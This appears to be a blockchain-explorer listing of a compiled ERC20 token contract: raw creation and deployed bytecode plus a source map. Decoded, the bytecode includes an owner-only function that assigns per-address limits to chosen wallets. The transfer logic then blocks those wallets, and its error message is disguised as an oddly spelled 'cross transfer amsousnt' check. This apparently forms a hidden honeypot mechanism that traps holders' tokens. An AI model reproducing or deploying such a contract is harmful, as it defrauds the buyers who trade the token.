00600052602260045260246000fd5b60008160011c9050919050565b611a9f80620007556000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb146102b1578063b96e6232146102e1578063dd62ed3e14610311578063f2fde38b1461034157610100565b8063715018a61461023b5780638da5cb5b1461024557806395d89b4114610263578063a457c2d71461028157610100565b806323b872dd116100d357806323b872dd1461018d578063313ce567146101bd57806339509351146101db57806370a082311461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd146101535780631e0d320614610171575b600080fd5b61010d61035d565b60405161011a9190611688565b60405180910390f35b61013d6004803603810190610138919061123f565b6103ef565b60405161014a919061166d565b60405180910390f35b61015b61040d565b60405161016891906117aa565b60405180910390f35b61018b6004803603810190610186919061127b565b610417565b005b6101a760048036038101906101a291906111f0565b61054b565b6040516101b4919061166d565b60405180910390f35b6101c5610624565b6040516101d291906117c5565b60405180910390f35b6101f560048036038101906101f0919061123f565b61063b565b604051610202919061166d565b60405180910390f35b6102256004803603810190610220919061118b565b6106ee565b60405161023291906117aa565b60405180910390f35b610243610737565b005b61024d6107bf565b60405161025a9190611652565b60405180910390f35b61026b6107e8565b6040516102789190611688565b60405180910390f35b61029b6004803603810190610296919061123f565b61087a565b6040516102a8919061166d565b60405180910390f35b6102cb60048036038101906102c6919061123f565b610947565b6040516102d8919061166d565b60405180910390f35b6102fb60048036038101906102f6919061118b565b610965565b60405161030891906117aa565b60405180910390f35b61032b600480360381019061032691906111b4565b6109ae565b60405161033891906117aa565b60405180910390f35b61035b6004803603810190610356919061118b565b610a35565b005b60606004805461036c906118da565b80601f0160208091040260200160405190810160405280929190818152602001828054610398906118da565b80156103e55780601f106103ba576101008083540402835291602001916103e5565b820191906000526020600020905b8154815290600101906020018083116103c857829003601f168201915b5050505050905090565b60006104036103fc610b43565b8484610b4b565b6001905092915050565b6000600754905090565b61041f6107bf565b73ffffffffffffffffffffffffffffffffffffffff1661043d610b43565b73ffffffffffffffffffffffffffffffffffffffff1614610493576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161048a9061178a565b60405180910390fd5b60005b838390508110156105455781600360008686858181106104df577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906104f4919061118b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061053d9061190c565b915050610496565b50505050565b6000610558848484610d16565b61061984610564610b43565b610614856040518060600160405280602a81526020016119f3602a9139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105ca610b43565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ffe9092919063ffffffff16565b610b4b565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006106e4610648610b43565b846106df8560026000610659610b43565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b2d90919063ffffffff16565b610b4b565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61073f610b43565b73ffffffffffffffffffffffffffffffffffffffff1661075d6107bf565b73ffffffffffffffffffffffffffffffffffffffff16146107b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107aa9061172a565b60405180910390fd5b6107bd6000611053565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107f7906118da565b80601f0160208091040260200160405190810160405280929190818152602001828054610823906118da565b80156108705780601f1061084557610100808354040283529160200191610870565b820191906000526020600020905b81548152906001019060200180831161085357829003601f168201915b5050505050905090565b600061093d610887610b43565b8461093885604051806060016040528060258152602001611a4560259139600260006108b1610b43565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ffe9092919063ffffffff16565b610b4b565b6001905092915050565b600061095b610954610b43565b8484610d16565b6001905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a3d610b43565b73ffffffffffffffffffffffffffffffffffffffff16610a5b6107bf565b73ffffffffffffffffffffffffffffffffffffffff1614610ab1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa89061172a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b18906116ca565b60405180910390fd5b610b2a81611053565b50565b60008183610b3b91906117fc565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb29061176a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c22906116ea565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d0991906117aa565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7d9061174a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610df6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ded906116aa565b60405180910390fd5b6000610e0184610965565b90506000811115610e4f57808211610e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e459061170a565b60405180910390fd5b5b610ebb82604051806060016040528060288152602001611a1d60289139600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f5082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b2d90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ff091906117aa565b60405180910390a350505050565b6000838311158290611046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103d9190611688565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081359050611126816119c4565b92915050565b60008083601f84011261113e57600080fd5b8235905067ffffffffffffffff81111561115757600080fd5b60208301915083602082028301111561116f57600080fd5b9250929050565b600081359050611185816119db565b92915050565b60006020828403121561119d57600080fd5b60006111ab84828501611117565b91505092915050565b600080604083850312156111c757600080fd5b60006111d585828601611117565b92505060206111e685828601611117565b9150509250929050565b60008060006060848603121561120557600080fd5b600061121386828701611117565b935050602061122486828701611117565b925050604061123586828701611176565b9150509250925092565b6000806040838503121561125257600080fd5b600061126085828601611117565b925050602061127185828601611176565b9150509250929050565b60008060006040848603121561129057600080fd5b600084013567ffffffffffffffff8111156112aa57600080fd5b6112b68682870161112c565b935093505060206112c986828701611176565b9150509250925092565b6112dc81611852565b82525050565b6112eb81611864565b82525050565b60006112fc826117e0565b61130681856117eb565b93506113168185602086016118a7565b61131f816119b3565b840191505092915050565b60006113376023836117eb565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061139d6026836117eb565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114036022836117eb565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114696040836117eb565b91507f45524332303a2063726f737320616d736f75736e7420646f6573206e6f74206560008301527f7175616c207468652063726f7373207472616e7366657220616d736f75736e746020830152604082019050919050565b60006114cf6020836117eb565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b600061150f6025836117eb565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006115756024836117eb565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006115db6021836117eb565b91507f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008301527f72000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61163d81611890565b82525050565b61164c8161189a565b82525050565b600060208201905061166760008301846112d3565b92915050565b600060208201905061168260008301846112e2565b92915050565b600060208201905081810360008301526116a281846112f1565b905092915050565b600060208201905081810360008301526116c38161132a565b9050919050565b600060208201905081810360008301526116e381611390565b9050919050565b60006020820190508181036000830152611703816113f6565b9050919050565b600060208201905081810360008301526117238161145c565b9050919050565b60006020820190508181036000830152611743816114c2565b9050919050565b6000602082019050818103600083015261176381611502565b9050919050565b6000602082019050818103600083015261178381611568565b9050919050565b600060208201905081810360008301526117a3816115ce565b9050919050565b60006020820190506117bf6000830184611634565b92915050565b60006020820190506117da6000830184611643565b92915050565b600081519050919050565b600082825260208201905092915050565b600061180782611890565b915061181283611890565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561184757611846611955565b5b828201905092915050565b600061185d82611870565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156118c55780820151818401526020810190506118aa565b838111156118d4576000848401525b50505050565b600060028204905060018216806118f257607f821691505b6020821081141561190657611905611984565b5b50919050565b600061191782611890565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561194a57611949611955565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6119cd81611852565b81146119d857600080fd5b50565b6119e481611890565b81146119ef57600080fd5b5056fe45524332303a207472616e7366657220616d736f75736e74206578636565647320616c6c6f77616e636545524332303a207472616e7366657220616d736f75736e7420657863656564732062616c616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122080e5d8d9d87029aa893f787b7119f3b6a32e129ec528b05bf376ea23a45aa62d64736f6c63430008000033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb146102b1578063b96e6232146102e1578063dd62ed3e14610311578063f2fde38b1461034157610100565b8063715018a61461023b5780638da5cb5b1461024557806395d89b4114610263578063a457c2d71461028157610100565b806323b872dd116100d357806323b872dd1461018d578063313ce567146101bd57806339509351146101db57806370a082311461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd146101535780631e0d320614610171575b600080fd5b61010d61035d565b60405161011a9190611688565b60405180910390f35b61013d6004803603810190610138919061123f565b6103ef565b60405161014a919061166d565b60405180910390f35b61015b61040d565b60405161016891906117aa565b60405180910390f35b61018b6004803603810190610186919061127b565b610417565b005b6101a760048036038101906101a291906111f0565b61054b565b6040516101b4919061166d565b60405180910390f35b6101c5610624565b6040516101d291906117c5565b60405180910390f35b6101f560048036038101906101f0919061123f565b61063b565b604051610202919061166d565b60405180910390f35b6102256004803603810190610220919061118b565b6106ee565b60405161023291906117aa565b60405180910390f35b610243610737565b005b61024d6107bf565b60405161025a9190611652565b60405180910390f35b61026b6107e8565b6040516102789190611688565b60405180910390f35b61029b6004803603810190610296919061123f565b61087a565b6040516102a8919061166d565b60405180910390f35b6102cb60048036038101906102c6919061123f565b610947565b6040516102d8919061166d565b60405180910390f35b6102fb60048036038101906102f6919061118b565b610965565b60405161030891906117aa565b60405180910390f35b61032b600480360381019061032691906111b4565b6109ae565b60405161033891906117aa565b60405180910390f35b61035b6004803603810190610356919061118b565b610a35565b005b60606004805461036c906118da565b80601f0160208091040260200160405190810160405280929190818152602001828054610398906118da565b80156103e55780601f106103ba576101008083540402835291602001916103e5565b820191906000526020600020905b8154815290600101906020018083116103c857829003601f168201915b5050505050905090565b60006104036103fc610b43565b8484610b4b565b6001905092915050565b6000600754905090565b61041f6107bf565b73ffffffffffffffffffffffffffffffffffffffff1661043d610b43565b73ffffffffffffffffffffffffffffffffffffffff1614610493576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161048a9061178a565b60405180910390fd5b60005b838390508110156105455781600360008686858181106104df577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906104f4919061118b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061053d9061190c565b915050610496565b50505050565b6000610558848484610d16565b61061984610564610b43565b610614856040518060600160405280602a81526020016119f3602a9139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105ca610b43565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ffe9092919063ffffffff16565b610b4b565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006106e4610648610b43565b846106df8560026000610659610b43565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b2d90919063ffffffff16565b610b4b565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61073f610b43565b73ffffffffffffffffffffffffffffffffffffffff1661075d6107bf565b73ffffffffffffffffffffffffffffffffffffffff16146107b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107aa9061172a565b60405180910390fd5b6107bd6000611053565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107f7906118da565b80601f0160208091040260200160405190810160405280929190818152602001828054610823906118da565b80156108705780601f1061084557610100808354040283529160200191610870565b820191906000526020600020905b81548152906001019060200180831161085357829003601f168201915b5050505050905090565b600061093d610887610b43565b8461093885604051806060016040528060258152602001611a4560259139600260006108b1610b43565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ffe9092919063ffffffff16565b610b4b565b6001905092915050565b600061095b610954610b43565b8484610d16565b6001905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a3d610b43565b73ffffffffffffffffffffffffffffffffffffffff16610a5b6107bf565b73ffffffffffffffffffffffffffffffffffffffff1614610ab1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa89061172a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b18906116ca565b60405180910390fd5b610b2a81611053565b50565b60008183610b3b91906117fc565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb29061176a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c22906116ea565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d0991906117aa565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7d9061174a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610df6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ded906116aa565b60405180910390fd5b6000610e0184610965565b90506000811115610e4f57808211610e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e459061170a565b60405180910390fd5b5b610ebb82604051806060016040528060288152602001611a1d60289139600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f5082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b2d90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ff091906117aa565b60405180910390a350505050565b6000838311158290611046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103d9190611688565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081359050611126816119c4565b92915050565b60008083601f84011261113e57600080fd5b8235905067ffffffffffffffff81111561115757600080fd5b60208301915083602082028301111561116f57600080fd5b9250929050565b600081359050611185816119db565b92915050565b60006020828403121561119d57600080fd5b60006111ab84828501611117565b91505092915050565b600080604083850312156111c757600080fd5b60006111d585828601611117565b92505060206111e685828601611117565b9150509250929050565b60008060006060848603121561120557600080fd5b600061121386828701611117565b935050602061122486828701611117565b925050604061123586828701611176565b9150509250925092565b6000806040838503121561125257600080fd5b600061126085828601611117565b925050602061127185828601611176565b9150509250929050565b60008060006040848603121561129057600080fd5b600084013567ffffffffffffffff8111156112aa57600080fd5b6112b68682870161112c565b935093505060206112c986828701611176565b9150509250925092565b6112dc81611852565b82525050565b6112eb81611864565b82525050565b60006112fc826117e0565b61130681856117eb565b93506113168185602086016118a7565b61131f816119b3565b840191505092915050565b60006113376023836117eb565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061139d6026836117eb565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114036022836117eb565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114696040836117eb565b91507f45524332303a2063726f737320616d736f75736e7420646f6573206e6f74206560008301527f7175616c207468652063726f7373207472616e7366657220616d736f75736e746020830152604082019050919050565b60006114cf6020836117eb565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b600061150f6025836117eb565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006115756024836117eb565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006115db6021836117eb565b91507f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008301527f72000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61163d81611890565b82525050565b61164c8161189a565b82525050565b600060208201905061166760008301846112d3565b92915050565b600060208201905061168260008301846112e2565b92915050565b600060208201905081810360008301526116a281846112f1565b905092915050565b600060208201905081810360008301526116c38161132a565b9050919050565b600060208201905081810360008301526116e381611390565b9050919050565b60006020820190508181036000830152611703816113f6565b9050919050565b600060208201905081810360008301526117238161145c565b9050919050565b60006020820190508181036000830152611743816114c2565b9050919050565b6000602082019050818103600083015261176381611502565b9050919050565b6000602082019050818103600083015261178381611568565b9050919050565b600060208201905081810360008301526117a3816115ce565b9050919050565b60006020820190506117bf6000830184611634565b92915050565b60006020820190506117da6000830184611643565b92915050565b600081519050919050565b600082825260208201905092915050565b600061180782611890565b915061181283611890565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561184757611846611955565b5b828201905092915050565b600061185d82611870565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156118c55780820151818401526020810190506118aa565b838111156118d4576000848401525b50505050565b600060028204905060018216806118f257607f821691505b6020821081141561190657611905611984565b5b50919050565b600061191782611890565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561194a57611949611955565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6119cd81611852565b81146119d857600080fd5b50565b6119e481611890565b81146119ef57600080fd5b5056fe45524332303a207472616e7366657220616d736f75736e74206578636565647320616c6c6f77616e636545524332303a207472616e7366657220616d736f75736e7420657863656564732062616c616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122080e5d8d9d87029aa893f787b7119f3b6a32e129ec528b05bf376ea23a45aa62d64736f6c63430008000033

Deployed Bytecode Sourcemap

9885:6502:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10894:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12452:214;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11288:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13748:293;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12765:462;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11189:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13326:300;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11518:181;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;763:94;;;:::i;:::-;;540:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10993:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14394:400;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11798:220;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14140:120;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12140:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;865:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10894:91;10939:13;10972:5;10965:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10894:91;:::o;12452:214::-;12573:4;12595:41;12604:12;:10;:12::i;:::-;12618:7;12627:8;12595;:41::i;:::-;12654:4;12647:11;;12452:214;;;;:::o;11288:108::-;11349:7;11376:12;;11369:19;;11288:108;:::o;13748:293::-;13853:7;:5;:7::i;:::-;13837:23;;:12;:10;:12::i;:::-;:23;;;13833:75;;13863:43;;;;;;;;;;:::i;:::-;;;;;;;;13833:75;13923:9;13918:114;13942:9;;:16;;13938:1;:20;13918:114;;;14012:8;13980:15;:29;13996:9;;14006:1;13996:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13980:29;;;;;;;;;;;;;;;:40;;;;13960:3;;;;;:::i;:::-;;;;13918:114;;;;13748:293;;;:::o;12765:462::-;12907:4;12924:38;12934:6;12942:9;12953:8;12924:9;:38::i;:::-;12973:224;12996:6;13017:12;:10;:12::i;:::-;13044:142;13100:8;13044:142;;;;;;;;;;;;;;;;;:11;:19;13056:6;13044:19;;;;;;;;;;;;;;;:33;13064:12;:10;:12::i;:::-;13044:33;;;;;;;;;;;;;;;;:37;;:142;;;;;:::i;:::-;12973:8;:224::i;:::-;13215:4;13208:11;;12765:462;;;;;:::o;11189:91::-;11238:5;11263:9;;;;;;;;;;;11256:16;;11189:91;:::o;13326:300::-;13441:4;13463:133;13486:12;:10;:12::i;:::-;13513:7;13535:50;13574:10;13535:11;:25;13547:12;:10;:12::i;:::-;13535:25;;;;;;;;;;;;;;;:34;13561:7;13535:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;13463:8;:133::i;:::-;13614:4;13607:11;;13326:300;;;;:::o;11518:181::-;11639:7;11671:9;:20;11681:9;11671:20;;;;;;;;;;;;;;;;11664:27;;11518:181;;;:::o;763:94::-;686:12;:10;:12::i;:::-;675:23;;:7;:5;:7::i;:::-;:23;;;667:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;828:21:::1;846:1;828:9;:21::i;:::-;763:94::o:0;540:87::-;586:7;613:6;;;;;;;;;;;606:13;;540:87;:::o;10993:95::-;11040:13;11073:7;11066:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10993:95;:::o;14394:400::-;14514:4;14536:228;14559:12;:10;:12::i;:::-;14586:7;14608:145;14665:15;14608:145;;;;;;;;;;;;;;;;;:11;:25;14620:12;:10;:12::i;:::-;14608:25;;;;;;;;;;;;;;;:34;14634:7;14608:34;;;;;;;;;;;;;;;;:38;;:145;;;;;:::i;:::-;14536:8;:228::i;:::-;14782:4;14775:11;;14394:400;;;;:::o;11798:220::-;11922:4;11944:44;11954:12;:10;:12::i;:::-;11968:9;11979:8;11944:9;:44::i;:::-;12006:4;11999:11;;11798:220;;;;:::o;14140:120::-;14199:7;14226:15;:26;14242:9;14226:26;;;;;;;;;;;;;;;;14219:33;;14140:120;;;:::o;12140:201::-;12274:7;12306:11;:18;12318:5;12306:18;;;;;;;;;;;;;;;:27;12325:7;12306:27;;;;;;;;;;;;;;;;12299:34;;12140:201;;;;:::o;865:192::-;686:12;:10;:12::i;:::-;675:23;;:7;:5;:7::i;:::-;:23;;;667:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;974:1:::1;954:22;;:8;:22;;;;946:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;1030:19;1040:8;1030:9;:19::i;:::-;865:192:::0;:::o;7893:98::-;7951:7;7982:1;7978;:5;;;;:::i;:::-;7971:12;;7893:98;;;;:::o;95:::-;148:7;175:10;168:17;;95:98;:::o;15903:477::-;16058:1;16041:19;;:5;:19;;;;16033:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16139:1;16120:21;;:7;:21;;;;16112:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16314:8;16284:11;:18;16296:5;16284: